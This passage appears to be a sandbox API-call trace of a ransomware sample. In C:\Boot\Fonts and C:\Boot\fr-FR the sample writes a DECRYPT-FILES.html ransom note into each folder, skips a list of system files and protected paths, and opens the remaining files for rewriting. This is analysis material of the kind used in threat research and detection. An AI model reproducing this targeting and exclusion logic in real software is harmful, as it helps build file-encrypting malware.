param_1="C:\\Boot\\Fonts\\\\DECRYPT-FILES.html") returned 33 [0058.188] CreateFileW (lpFileName="C:\\Boot\\Fonts\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\fonts\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0058.189] WriteFile (in: hFile=0x2f8, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0058.190] CloseHandle (hObject=0x2f8) returned 1 [0058.190] lstrlenW (lpString="C:\\Boot\\Fonts\\") returned 14 [0058.190] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="*" | out: lpString1="C:\\Boot\\Fonts\\*") returned="C:\\Boot\\Fonts\\*" [0058.190] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88a55570, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88a55570, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0058.190] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0058.191] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88a55570, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88a55570, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.191] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0058.191] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0058.191] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0058.191] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="DECRYPT-FILES.html") returned -1 [0058.191] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="autorun.inf") returned 1 [0058.191] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="boot.ini") returned 1 [0058.193] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="desktop.ini") returned -1 [0058.193] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="ntuser.dat") returned -1 [0058.193] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="iconcache.db") returned -1 [0058.193] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="bootsect.bak") returned 1 [0058.193] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="ntuser.dat.log") returned -1 [0058.193] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="thumbs.db") returned -1 [0058.193] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="Bootfont.bin") returned 1 [0058.193] lstrlenW (lpString="C:\\Boot\\Fonts\\") returned 14 [0058.193] lstrlenW (lpString="chs_boot.ttf") returned 12 [0058.193] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\Fonts\\" | out: lpString1="C:\\Boot\\Fonts\\") returned="C:\\Boot\\Fonts\\" [0058.193] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="chs_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\chs_boot.ttf") returned="C:\\Boot\\Fonts\\chs_boot.ttf" [0058.193] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.194] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.194] CloseHandle (hObject=0x0) returned 0 [0058.194] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.194] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0058.194] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="DECRYPT-FILES.html") returned -1 [0058.194] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="autorun.inf") returned 1 [0058.194] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="boot.ini") returned 1 [0058.194] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="desktop.ini") returned -1 [0058.194] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="ntuser.dat") returned -1 [0058.194] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="iconcache.db") returned -1 [0058.194] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="bootsect.bak") returned 1 [0058.195] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="ntuser.dat.log") returned -1 [0058.195] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="thumbs.db") returned -1 [0058.195] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="Bootfont.bin") returned 1 [0058.195] lstrlenW (lpString="C:\\Boot\\Fonts\\") returned 14 [0058.195] lstrlenW (lpString="cht_boot.ttf") returned 12 [0058.195] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\Fonts\\" | out: lpString1="C:\\Boot\\Fonts\\") returned="C:\\Boot\\Fonts\\" [0058.195] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="cht_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\cht_boot.ttf") returned="C:\\Boot\\Fonts\\cht_boot.ttf" [0058.195] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.195] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.201] CloseHandle (hObject=0x0) returned 0 [0058.201] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.202] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88a55570, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88a55570, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88a55570, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0058.202] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0058.202] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0058.202] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="DECRYPT-FILES.html") returned 1 [0058.202] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="autorun.inf") returned 1 [0058.202] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="boot.ini") returned 1 [0058.202] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="desktop.ini") returned 1 [0058.202] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="ntuser.dat") returned -1 [0058.202] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="iconcache.db") returned 1 [0058.202] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="bootsect.bak") returned 1 [0058.202] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="ntuser.dat.log") returned -1 [0058.202] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="thumbs.db") returned -1 [0058.202] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="Bootfont.bin") returned 1 [0058.202] lstrlenW (lpString="C:\\Boot\\Fonts\\") returned 14 [0058.202] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0058.202] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\Fonts\\" | out: lpString1="C:\\Boot\\Fonts\\") returned="C:\\Boot\\Fonts\\" [0058.202] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="jpn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\jpn_boot.ttf") returned="C:\\Boot\\Fonts\\jpn_boot.ttf" [0058.202] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.203] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.203] CloseHandle (hObject=0x0) returned 0 [0058.203] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.203] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0058.203] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="DECRYPT-FILES.html") returned 1 [0058.203] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="autorun.inf") returned 1 [0058.203] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="boot.ini") returned 1 [0058.203] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="desktop.ini") returned 1 [0058.203] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="ntuser.dat") returned -1 [0058.203] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="iconcache.db") returned 1 [0058.203] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="bootsect.bak") returned 1 [0058.203] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="ntuser.dat.log") returned -1 [0058.203] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="thumbs.db") returned -1 [0058.203] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="Bootfont.bin") returned 1 [0058.203] lstrlenW (lpString="C:\\Boot\\Fonts\\") returned 14 [0058.203] lstrlenW (lpString="kor_boot.ttf") returned 12 [0058.203] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\Fonts\\" | out: lpString1="C:\\Boot\\Fonts\\") returned="C:\\Boot\\Fonts\\" [0058.204] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="kor_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\kor_boot.ttf") returned="C:\\Boot\\Fonts\\kor_boot.ttf" [0058.204] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.204] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.204] CloseHandle (hObject=0x0) returned 0 [0058.204] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.204] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88a55570, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88a55570, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88a55570, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0058.204] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0058.204] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0058.204] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0058.204] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0058.205] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0058.205] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0058.205] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0058.205] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0058.205] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0058.205] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0058.205] lstrlenW (lpString="C:\\Boot\\Fonts\\") returned 14 [0058.205] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.205] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\Fonts\\" | out: lpString1="C:\\Boot\\Fonts\\") returned="C:\\Boot\\Fonts\\" [0058.205] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\Fonts\\wevkgn5.dat") returned="C:\\Boot\\Fonts\\wevkgn5.dat" [0058.205] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.205] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wevkgn5.dat" (normalized: "c:\\boot\\fonts\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.205] CloseHandle (hObject=0x0) returned 0 [0058.205] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.206] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0058.206] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="DECRYPT-FILES.html") returned 1 [0058.206] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="autorun.inf") returned 1 [0058.206] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="boot.ini") returned 1 [0058.206] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="desktop.ini") returned 1 [0058.206] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="ntuser.dat") returned 1 [0058.206] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="iconcache.db") returned 1 [0058.206] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="bootsect.bak") returned 1 [0058.206] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="ntuser.dat.log") returned 1 [0058.206] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="thumbs.db") returned 1 [0058.206] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="Bootfont.bin") returned 1 [0058.206] lstrlenW (lpString="C:\\Boot\\Fonts\\") returned 14 [0058.206] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0058.206] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\Fonts\\" | out: lpString1="C:\\Boot\\Fonts\\") returned="C:\\Boot\\Fonts\\" [0058.206] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="wgl4_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned="C:\\Boot\\Fonts\\wgl4_boot.ttf" [0058.206] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.207] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.207] CloseHandle (hObject=0x0) returned 0 [0058.207] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.207] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0058.207] FindClose (in: hFindFile=0x66cfd8 | out: hFindFile=0x66cfd8) returned 1 [0058.207] CloseHandle (hObject=0x280) returned 1 [0058.207] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0058.207] lstrcmpW (lpString1="fr-FR", lpString2=".") returned 1 [0058.208] lstrcmpW (lpString1="fr-FR", lpString2="..") returned 1 [0058.208] lstrcatW (in: lpString1="fr-FR", lpString2="\\" | out: lpString1="fr-FR\\") returned="fr-FR\\" [0058.208] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="fr-FR\\" | out: lpString1="C:\\Boot\\fr-FR\\") returned="C:\\Boot\\fr-FR\\" [0058.208] StrStrW (lpFirst="C:\\Boot\\fr-FR\\", lpSrch=":\\Windows") returned 0x0 [0058.208] StrStrW (lpFirst="C:\\Boot\\fr-FR\\", lpSrch="\\Program Files") returned 0x0 [0058.208] StrStrW (lpFirst="C:\\Boot\\fr-FR\\", lpSrch="\\Games\\") returned 0x0 [0058.208] StrStrW (lpFirst="C:\\Boot\\fr-FR\\", lpSrch="\\Tor Browser\\") returned 0x0 [0058.208] StrStrW (lpFirst="C:\\Boot\\fr-FR\\", lpSrch="\\ProgramData\\") returned 0x0 [0058.208] StrStrW (lpFirst="C:\\Boot\\fr-FR\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0058.208] StrStrW (lpFirst="C:\\Boot\\fr-FR\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0058.208] StrStrW (lpFirst="C:\\Boot\\fr-FR\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0058.208] StrStrW (lpFirst="C:\\Boot\\fr-FR\\", lpSrch="\\All Users") returned 0x0 [0058.208] lstrlenW (lpString="C:\\Boot\\fr-FR\\") returned 14 [0058.208] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.208] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\fr-FR\\\\wevkgn5.dat") returned 26 [0058.208] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\\\wevkgn5.dat" (normalized: "c:\\boot\\fr-fr\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x280 [0058.217] lstrlenW (lpString="C:\\Boot\\fr-FR\\") returned 14 [0058.217] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0058.217] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\fr-FR\\\\DECRYPT-FILES.html") returned 33 [0058.217] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\fr-fr\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0058.218] WriteFile (in: hFile=0x2f8, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0058.219] CloseHandle (hObject=0x2f8) returned 1 [0058.219] lstrlenW (lpString="C:\\Boot\\fr-FR\\") returned 14 [0058.219] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="*" | out: lpString1="C:\\Boot\\fr-FR\\*") returned="C:\\Boot\\fr-FR\\*" [0058.219] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88aa1830, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88aa1830, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0058.219] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0058.219] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88aa1830, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88aa1830, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.220] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0058.220] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0058.220] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0058.220] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0058.220] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0058.220] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0058.220] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0058.220] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0058.220] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0058.220] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0058.220] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0058.220] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0058.220] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0058.220] lstrlenW (lpString="C:\\Boot\\fr-FR\\") returned 14 [0058.220] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0058.220] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\fr-FR\\" | out: lpString1="C:\\Boot\\fr-FR\\") returned="C:\\Boot\\fr-FR\\" [0058.220] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned="C:\\Boot\\fr-FR\\bootmgr.exe.mui" [0058.220] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.221] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.221] CloseHandle (hObject=0x0) returned 0 [0058.221] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.221] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88aa1830, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88aa1830, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88aa1830, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0058.221] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0058.221] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, 